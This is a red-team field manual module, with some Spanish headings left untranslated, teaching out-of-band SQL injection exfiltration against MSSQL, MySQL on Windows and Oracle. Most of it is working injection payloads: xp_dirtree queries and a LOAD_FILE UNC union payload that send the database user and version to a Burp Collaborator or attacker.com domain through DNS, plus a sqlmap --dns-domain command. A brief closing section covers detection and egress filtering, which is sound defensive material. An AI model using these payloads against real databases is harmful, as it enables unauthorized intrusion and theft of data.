📕 FIELD MANUAL 4.1: OUT-OF-BAND (OOB) EXFILTRATION
Objective: We will exfiltrate data by forcing the server to connect to an external system controlled by us (DNS/SMB/HTTP).
Classification: RED TEAM EYES ONLY
Objective: We will exfiltrate data by forcing the server to connect to an external system controlled by us (DNS/SMB/HTTP).
Targets: Microsoft SQL Server (Native), MySQL (Windows), Oracle.
Tools: Burp Collaborator, Interactsh, SQLMap.
MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol).
1. INTEL & RECON: THE PHYSICS OF THE ATTACK
Sección titulada «1. INTEL & RECON: LA FÍSICA DEL ATAQUE»The Problem (Pure Blind)
Sección titulada «El Problema (Blind Puro)»We are injecting into an asynchronous application. We inject the payload, the app says “We will process your request,” and the query executes 1 minute later in a backend. We will never see the HTTP response.
The Solution (DNS Beaconing)
Sección titulada «La Solución (DNS Beaconing)»We will inject an instruction that says:
"Database, attempt to access the file \\SECRET.attacker.com\imagen.jpg"
For the server to know where attacker.com is, it must perform a DNS query.
We will place the data we want to steal (e.g., the password) as a subdomain:
\\password123.attacker.com\a
By looking at our DNS server logs, we will see:
Query recibida de [IP_VÍCTIMA]: ¿Quién es password123.attacker.com?Data exfiltrated!
2. WEAPONIZATION: MSSQL & XP_DIRTREE (THE KING OF OOB)
Sección titulada «2. WEAPONIZATION: MSSQL & XP_DIRTREE (EL REY DEL OOB)»Microsoft SQL Server is the king of this technique because it has native functions to interact with the file system and UNC (Universal Naming Convention) networks.
Listener Configuration
Sección titulada «Configuración de Escucha»- We open Burp Suite Professional (or use
interactshif using open source tools). - We will go to Collaborator and copy our payload (e.g.,
burp123.burpcollaborator.net).
Payload 1: OOB Validation (xp_dirtree)
Sección titulada «Payload 1: Validación de OOB (xp_dirtree)»This function will attempt to list a directory.
'; DECLARE @h varchar(8000); SELECT @h = 'master'+'.burp123.burpcollaborator.net'; EXEC master..xp_dirtree @h; --- Action: The server will attempt to resolve
master.burp123.... - Result: In our Collaborator, we will see a “DNS Interaction”.
Payload 2: Data Exfiltration
Sección titulada «Payload 2: Exfiltración de Datos»Now we will place the actual data (e.g., user sa) in the subdomain.
'; DECLARE @data varchar(1024); SELECT @data = (SELECT user_name()); DECLARE @target varchar(1024); SELECT @target = '\\'+@data+'.burp123.burpcollaborator.net\foo'; EXEC master..xp_dirtree @target; --- Result in Collaborator: We will receive a DNS query looking for
dbo.burp123.burpcollaborator.net. - Stolen data:
dbo(Database Owner).
3. WEAPONIZATION: MYSQL & WINDOWS (UNC PATHS)
Sección titulada «3. WEAPONIZATION: MYSQL & WINDOWS (UNC PATHS)»MySQL does not have xp_dirtree, but on Windows, functions that read files (LOAD_FILE) or write (INTO OUTFILE) can accept UNC network paths.
Requirements:
- The MySQL server must run on Windows.
secure_file_privmust be empty (disabled).
Payload: LOAD_FILE UNC
Sección titulada «Payload: LOAD_FILE UNC»' UNION SELECT 1, LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.burp123.burpcollaborator.net\\a.txt')), 3, 4 -- -(Note the four slashes \\\\ to escape correctly in SQL).
If it works, MySQL will attempt to read that remote file, triggering the DNS query with the database version.
4. AUTOMATION: SQLMAP OOB
Sección titulada «4. AUTOMATION: SQLMAP OOB»SQLMap will automate this perfectly if we have a controlled domain.
Command:
sqlmap -u "http://target/app.php?id=1" --dns-domain="atacante.com" --dbs-dns-domain: SQLMap will set up a mini fake DNS server on our machine (we need port 53 open and accessible from the internet, or use port forwarding). SQLMap will encode the data in HEX to avoid issues with strange characters in DNS.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection (Network Monitoring)
Sección titulada «🕵️ Detección (Monitorización de Red)»OOB traffic is invisible in web logs, but noisy on the network.
- Corporate DNS Logs: We will look for DNS resolutions generated by our Database servers.
- Critical Anomaly: Why is the
SQL01server attempting to resolvexyz.burpcollaborator.netor strange long-length domains? - DB servers should never initiate connections to the Internet, let alone arbitrary DNS queries.
- Critical Anomaly: Why is the
🛡️ Mitigation (Egress Filtering)
Sección titulada «🛡️ Mitigación (Filtrado de Salida)»The defense here is not in the code (aside from fixing the SQL injection), but in the network architecture.
- Egress Firewall: We will block port 53 (DNS) and 445 (SMB) from the database servers to the Internet. If the DB cannot "speak" outward, the OOB technique dies.
- MSSQL Hardening: If we do not use it, we will disable
xp_dirtreeandxp_fileexist. - MySQL Hardening: We will configure
secure_file_privtoNULLor a specific local directory to preventLOAD_FILEfrom accessing network paths.
Status: Module 4.1 Completed.
Note: In bWAPP (default Linux environment), MySQL's DNS UNC technique will not work (because Linux does not use UNC \\server\share). But it is VITAL to know it for Windows corporate environments.

